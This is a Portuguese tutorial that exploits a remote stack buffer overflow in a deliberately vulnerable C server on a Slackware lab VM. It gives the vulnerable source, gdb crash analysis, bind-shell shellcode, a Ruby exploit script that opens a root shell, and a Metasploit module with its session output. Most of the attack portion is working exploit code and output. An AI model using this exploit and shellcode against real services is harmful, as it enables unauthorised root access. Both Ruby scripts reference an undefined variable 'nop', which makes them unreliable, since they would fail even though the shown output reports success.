.::[ exploração de um buffer overflow remoto ]::.
Autor: FuRt3X
email: blkhtc0rp@yahoo.com.br
Neste tutorial irei mostrar como explorar uma simples falha remota de buffer overflow e criar nosso script exploit usando a linguagem de programação ruby, e portar esse exploit para o metasploit. Foi usada uma maquina virtural
VMware [ Slackware 8.1 ].
O nosso servidor vulneravel escrito C foi encontrado em um site na internet, você pode encontrar muitos exemplos por ai no google.
[ servidor.c ]
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFER_SIZE 1024 // Tamanho do buffer de recebimento
#define BACKLOG 5 // Número de conexões na fila do servidor
/* Protótipos de funções */
/* Funções de processamento da mensagem recebida */
void process(char *buffer);
/* Função de saída em caso de erro */
void quit_with_error(char * error_message);
/* Rotina para fechamento das conexões e liberação dos sockets */
void cleanup(int socket_descriptor, int incoming_socket);
/* Ponto de entrada do programa */
int main(int argc, char *argv[]) {
/* Descritor do socket servidor */
int socket_descriptor = -1;
/* Buffer de recebimento */
char buffer[BUFFER_SIZE];
/* Descritor do socket de conexão com cliente */
int incoming_socket;
/* Registro para armazenar endereço do servidor */
struct sockaddr_in my_address;
/* Registro para armazenar endereço do cliente */
struct sockaddr_in their_address;
/* Porta em que o servidor irá escutar */
int server_port = 0;
/* Inteiro para armazenar o número de btyes recebidos a cada chamada de read(2) */
int message_length;
/* Flag utilizada para ligar o reuso da porta do servidor */
int i_want_reusable_ports = 1;
/* Inteiro utilizado para armazenar o tamanho da estrutura sockaddr */
int length;
/* Inteiro utilizado para indexar o buffer de recebimento */
int index;
/* Checagem de parámetros do servidor */
if (argc!=2) {
fprintf(stderr,"Sinopse: %s <porta>\n", argv[0]);
exit(1);
}
/* Obtenção da porta a partir da linha de comando */
server_port = atoi(argv[1]);
/* Criação de um socket TCP */
socket_descriptor = socket(AF_INET, SOCK_STREAM, 0);
/* Checagem da criação do socket TCP */
if (socket_descriptor < 0) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível abrir socket TCP.\n");
}
/* Ligação do reuso na porta utilizada pelo socket */
if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível tornar a porta do socket reusável.\n");
}
/* Montagem do registro que armazena o endereço da máquina executando o servidor */
my_address.sin_family = AF_INET;
my_address.sin_port = htons(server_port);
my_address.sin_addr.s_addr = INADDR_ANY;
memset(&(my_address.sin_zero), '0', 8);
/* Alocação da porta fornecida para o socket servidor */
if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível alocar porta para o socket.\n");
}
/* Socket em modo de escuta */
if (listen(socket_descriptor, BACKLOG) == -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível colocar o socket em modo de escuta\n.");
}
length = sizeof(my_address);
printf("Servidor vulnerável iniciado e em escuta...\n");
/* Laço infinito em que o servidor receberá requisições */
while (1) {
/* Buffer de recebimento é zerado a cada nova conexão */
for (index = 0; index < BUFFER_SIZE; index++)
buffer[index] = '\0';
/* Estabelecimento de conexão com o cliente */
if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) {
cleanup(socket_descriptor, incoming_socket);
quit_with_error("Não foi possível aceitar conexão.\n");
}
/* Impressão de texto de depuração */
printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
printf("Conexão a partir de %s...\n", inet_ntoa(their_address.sin_addr));
send(incoming_socket, "Bem-vindo ao servidor vulnerável. Comporte-se...\n", 49, 0);
index = 0;
/* Leitura de mensagem enviada pelo cliente conectado */
while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) {
index += message_length;
if (buffer[index - 1] == '\0')
break;
}
/* Impressão de texto de depuração */
printf("Descritores dos sockets: Servidor: %d, Conexão: %d\n", socket_descriptor,incoming_socket);
printf("Mensagem recebida: %s\n", buffer);
/* Chamada da função de processamento da mensagem recebida */
process(buffer);
/* Fechamento da conexão com o cliente */
close(incoming_socket);
}
/* Liberação do socket servidor */
cleanup(socket_descriptor, incoming_socket);
return 0;
}
/* Processamento da mensagem do cliente. Apenas efetua cópia da string para buffer local, que poderá ser utilizado por outra thread de execução */
void process(char *buffer) {
char local_buffer[1024];
strcpy(local_buffer, buffer); ------> funçao vulneravel!
}
void quit_with_error(char * error_message) {
fprintf(stderr, "%s", error_message);
exit(1);
}
void cleanup(int socket_descriptor, int incoming_socket) {
if (socket_descriptor != -1) {
close(socket_descriptor);
close(incoming_socket);
}
}
#--------------------- EOF ---------------------------
1- Compilando nosso servidor vulneravel e executando.
pirata@slackware:/tmp$ gcc server.c -o servidor
pirata@slackware:/tmp$ ./servidor 4000
Servidor vulnerável iniciado e em escuta...
1.1- Agora vamos conectar ao servidor vulneravel e ver o que acontece.
pirate@0x90:~ > nc 192.168.77.128 4000
Bem-vindo ao servidor vulnerável. Comporte-se...
blah
blah
blah
^C
- Nao aconteceu nada porque o buffer reservado para mensagem é 1024 bytes, porém se mandarmos mais do que 1024 bytes que estao reservados pelo programa o programa quebra recebendo uma falha de segmentação.
pirate@0x90:~ > perl -e 'print "A" x 1028' | nc -vv 192.168.77.128 4000
192.168.77.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.77.128] 4000 (?) open
Bem-vindo ao servidor vulnerável. Comporte-se...
^C sent 1028, rcvd 49
pirata@slackware:/tmp$ ./servidor 4000
Servidor vulnerável iniciado e em escuta...
Descritores dos sockets: Servidor: 3, Conexão: 4
Conexão a partir de 192.168.77.1...
Descritores dos sockets: Servidor: 1094795585, Conexão: 4
Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????}?@
Segmentation fault
1.2- Vamos usar o gdb e ver o que ocorre quando enviamos caracteres "A" para o servidor buguento.
- Iniciando gdb.
pirata@slackware:/tmp$ gdb servidor
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r 4000
Starting program: /tmp/servidor 4000
Servidor vulnerável iniciado e em escuta...
- Mandando nossos caracteres "A".
pirate@0x90:~ > perl -e 'print "A" x 1028' | nc -vv 192.168.77.128 4000
192.168.77.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.77.128] 4000 (?) open
Bem-vindo ao servidor vulnerável. Comporte-se...^C sent 1028, rcvd 49
- gdb
pirata@slackware:/tmp$ gdb servidor
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r 4000
Starting program: /tmp/servidor 4000
Servidor vulnerável iniciado e em escuta...
Descritores dos sockets: Servidor: 5, Conexão: 6
Conexão a partir de 192.168.77.1...
Descritores dos sockets: Servidor: 1094795585, Conexão: 6
Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????}?@
Program received signal SIGSEGV, Segmentation fault.
0xbffff8ec in ?? ()
(gdb) info all
eax 0xbffff04c -1073745844
ecx 0xfffffba3 -1117
edx 0xbffff8b6 -1073743690
ebx 0x40141e58 1075060312
esp 0xbffff454 0xbffff454
ebp 0x41414141 0x41414141
esi 0x4001488c 1073825932
edi 0xbffff914 -1073743596
eip 0xbffff8ec 0xbffff8ec
eflags 0x10292 66194
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
st0 0 (raw 0x00000000000000000000)
st1 0 (raw 0x00000000000000000000)
---Type <return> to continue, or q <return> to quit---
- Analizando os registradores podemos ver que nao sobrescrevemos o resgistrador EIP, sendo assim vamos enviar novamente nossos caracteres desta vez vamos acrescentar mais 4 bytes.
pirate@0x90:~ > perl -e 'print "A" x 1032' | nc -vv 192.168.77.128 4000
192.168.77.128: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.77.128] 4000 (?) open
Bem-vindo ao servidor vulnerável. Comporte-se...^C sent 1032, rcvd 49
pirata@slackware:/tmp$ gdb servidor
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r 4000
Starting program: /tmp/servidor 4000
Servidor vulnerável iniciado e em escuta...
Descritores dos sockets: Servidor: 5, Conexão: 6
Conexão a partir de 192.168.77.1...
Descritores dos sockets: Servidor: 1094795585, Conexão: 6
Mensagem recebida: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}?@
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info register eip
eip 0x41414141 0x41414141
(gdb)
- Agora o registrador EIP foi sobescrito sabemos que com 1032 bytes( temos tamanho mais do que suficiente para injetar nosso shellcode) conseguimos sobrescrever o registrador eip o que temos que fazer agora e encontrar nosso endereço de retorno que queremos colocar no EIP.
2 - Encontrando o endereço de retorno usando um falso endereço de retorno 0x41414141.
- Vamos mandar nops + nosso metasploit shellcode + nosso endereço falso e usaremos um dos endereços que contem nossos nops como endereço de retorno fazendo com que os nops nos levem ao nosso payload.
[ nops ] + [ payload ] + [ retorno ]
- Criando nosso payload
pirate@0x90:/pentest/exploits/framework3 > ./msfpayload linux/x86/shell_bind_tcp LPORT=5555 C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* AppendExit=false, PrependChrootBreak=false,
* PrependSetresuid=false, PrependSetuid=false, LPORT=5555,
* RHOST=, PrependSetreuid=false
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\xff\x02\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
- Sabemos que 1032 bytes sao necessarios para o EIP ser sobrescrito entao prescisamos saber a quantidade certa de nops para completar nosso buffer e reservar 4 bytes para nosso endereço de retorno.
- Com um rapido calculo temos a quantidade necessaria de nops.
pirate@0x90:~ > echo $((1032 - 78 - 4))
950
-Agora temos a quantidade exata de nops que iremos enviar vamos montar nosso exploit.
---- slack.rb -----
#!/usr/bin/ruby
#
#
#
#
#
#
#
require 'socket'
host = ARGV[0]
porta = ARGV[1]
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+
"\x5b\x5e\x52\x68\xff\x02\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"+
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"+
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"+
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"+
"\x0b\xcd\x80"
nops = "\x90" * 950
ret = [0x41414141].pack('V')
# [ nops 950 bytes ] + [ payload 78 bytes ] + [ retorno 4 bytes ] = 1032
exploit = nop << shellcode << ret
s = TCPSocket.new(host, porta)
s.print(exploit)
s.close
puts "buffer mandado....."
-Antes de enviarmos o buffer temos que abilitar o core dumping para que possamos analizar nossos nops usando o arquivo core gerado e o gdb.
root@slackware:/tmp# ulimit -c unlimited
-Executamos o servidor e mandamos nosso buffer para que seja gerado o arquivo core.
pirate@0x90:~ > ruby slack.rb 192.168.77.128 4000
buffer mandado.....
root@slackware:/tmp# ./servidor 4000
Servidor vulnerável iniciado e em escuta...
Descritores dos sockets: Servidor: 3, Conexão: 4
Conexão a partir de 192.168.77.1...
Descritores dos sockets: Servidor: -2134045776, Conexão: 4
Mensagem recebida: ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1???SCSj???f[^Rh??jQP??jfX?A??fC?f?Yj?XIy?h//shh/bin??PS???
AAAA}?@
Segmentation fault (core dumped)
- Agora temos que analizar nosso arquivo core e procurar pelos nops.
root@slackware:/tmp# gdb -c core
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux".
Core was generated by `./servidor 4000'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/200x $esp
0xbffff4b4: 0x4003d17d 0xbfff0002 0x00000004 0x00000000
0xbffff4c4: 0x00000000 0x4000f2e2 0x400143ac 0x00000408
0xbffff4d4: 0x00000010 0x00000001 0xffffffff 0x00000fa0
0xbffff4e4: 0x46e10002 0x014da8c0 0xc011079f 0xf3cbe000
0xbffff4f4: 0xa00f0002 0x00000000 0x30303030 0x30303030
0xbffff504: 0x00000004 0x90909090 0x90909090 0x90909090
0xbffff514: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff524: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff534: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff544: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff554: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff564: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff574: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff584: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff594: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c4: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffff5d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff604: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff614: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff624: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff634: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff644: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff654: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff664: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff684: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff694: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6e4: 0x90909090 0x90909090 0x90909090 0x90909090
---Type <return> to continue, or q <return> to quit---
0xbffff6f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff704: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff714: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff724: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff734: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff744: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff754: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff764: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff774: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff784: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff794: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7c4: 0x90909090 0x90909090 0x90909090 0x90909090
-Analizando nosso arquivo core podemos ver que nossos nops na memoria agora com base nesses nops podemos usar quaquel endereço totalmente sobrescrito contendo nops que ele nos levara a nosso payload irei usar este endereço 0xbffff644 que se encontra no meio dos nosso nops.
2.2 - Contruindo o exploit final e explorando a vulnerabilidade.
------- slack.rb ---------
#!/usr/bin/ruby
#
# ######################
# .::[ blk ht c0rp ]::.
# ######################
# exploit sevidor vulneravel
# pirate@0x90:~ > ruby slack.rb 192.168.77.128 4000
# [+] exploitando....
# [+] blk ht c0rp...
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
#
########################
require 'socket'
host = ARGV[0]
porta = ARGV[1]
if ARGV.length != 2
puts "#{$0} vitima porta"
exit
end
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+
"\x5b\x5e\x52\x68\xff\x02\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"+
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"+
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"+
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"+
"\x0b\xcd\x80"
nops = "\x90" * 950
ret = [0xbffff644].pack('V')
# [ nops 950 bytes ] + [ payload 78 bytes ] + [ retorno 4 bytes ] = 1032
exploit = nop << shellcode << ret
s = TCPSocket.new(host, porta)
s.print(exploit)
s.close
puts "[+] exploitando...."
sleep 2
puts "[+] blk ht c0rp..."
system("nc #{host} 5555")
#--------------- EOX --------------------
root@slackware:/tmp# ./servidor 4000
Servidor vulnerável iniciado e em escuta...
pirate@0x90:~ > ruby slack.rb 192.168.77.128 4000
[+] exploitando....
[+] blk ht c0rp...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
uname -a
Linux slackware
echo pwned!
pwned!
root@slackware:/tmp# ./servidor 4000
Servidor vulnerável iniciado e em escuta...
Descritores dos sockets: Servidor: 3, Conexão: 4
Conexão a partir de 192.168.77.1...
Descritores dos sockets: Servidor: -2134045776, Conexão: 4
Mensagem recebida: ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1???SCSj???f[^Rh??jQP??jfX?A??fC?f?Yj?XIy?h//shh/bin??PS???
D???}?@
3 - Portando exploit para metasploit v3.3.4.
-Exploramos a falha temos todas as informações sobre como explorar-la agora podemos facilmente adptar nosso exploit para o metasploit.
------ slackware_servidor_vulneravel.rb --------
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking # ;)
include Exploit::Remote::Tcp
# Informações basicas do exploit
def initialize(info = {})
super(update_info(info,
'Name' => 'Exploit para servidor vulneravel',
'Description' => %q{
Exploit para buffer overflow remoto no servidor vulneravel.
},
'Author' => 'FuRt3X',
'Version' => '$Revision: -1 $',
'References' =>
[
[ 'URL', 'http://naoexiste.com.br' ],
],
'Payload' =>
{
'Space' => 500, # aqui eu reservei 500 bytes e nao 78 para que
'BadChars' => "\x00", # possamos ter compatibilidade com os payloads
},
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Privileged' => false,
'Targets' =>
[
[
'Linux Slackware 8.1',
{
'Platform' => 'linux',
'Ret' => 0xbffff644 # nosso endereço de retorno
}
],
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4000) # aqui registrei a porta 4000 como padrão
],
self.class
)
end
def exploit
connect
# aqui ele vai imprimir no console quando o exploit for executado o tamanho do payload em bytes
# e o nome da target "o alvo!" ;)
print_status("Sending #{payload.encoded.length} byte payload...")
print_status("Blk ht c0rp")
print_status("Exploiting #{target.name}....")
# Envia 528 nops + payload 500 bytes + 4 bytes do enderço de retorno 0xbffff644
buffer = "\x90" * 528
buffer += payload.encoded
buffer += [ target.ret ].pack('V')
# Conecta ao server e envia o buffer!
sock.put(buffer)
handler
disconnect
end
end
--------------------- EOX -----------------------
- Salvando o exploit no diretorio correto.
Crie um diretorio somente para testes como no meu caso o diretorio pwned.
/pentest/exploits/framework3/modules/exploits/linux/pwned/slackware_servidor_vulneravel.rb
3.2 - Executando metasploit e explorando a falha.
pirate@0x90:/pentest/exploits/framework3 > ./msfconsole
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 504 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8074 updated 46 days ago (2010.01.05)
msf > search pwned
[*] Searching loaded modules for pattern 'pwned'...
Exploits
========
Name Rank Description
---- ---- -----------
linux/pwned/apache_error_logpoison normal Apache log injection
linux/pwned/php_dns_digger normal (DNS Tools) PHP Digger Execucao remota de comandos
linux/pwned/slackware_servidor_vulneravel great Exploit para servidor vulneravel
linux/pwned/tinyweb_lfi_execution normal TinyWebGallery 1.7.6 LFI Execucao remota de comandos
msf > use linux/pwned/slackware_servidor_vulneravel
msf exploit(slackware_servidor_vulneravel) > set RHOST 192.168.77.128
RHOST => 192.168.77.128
msf exploit(slackware_servidor_vulneravel) > set PAYLOAD linux/x86/shell_bind_tcp
linux/x86/shell_bind_tcp
msf exploit(slackware_servidor_vulneravel) > exploit
[*] Started bind handler
[*] Sending 500 byte payload...
[*] Blk ht c0rp
[*] Exploiting Linux Slackware 8.1....
[*] Command shell session 1 opened (192.168.77.1:56615 -> 192.168.77.128:4444)
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
uname -a
Linux slackware
pwd
/tmp
------ F I M --------
Conclusão: Espero que gostem do tutorial e desculpe pelos bugs de "Português" ;).
greetz: Para todos hackers e penetration testers brasileiros em atividade.
Referências:
http://www.cic.unb.br/~pedro/trabs/buffer_overflow.htm [ servidor vulneravel ]
http://pt.wikipedia.org/wiki/Exploit [ definição de exploits ]
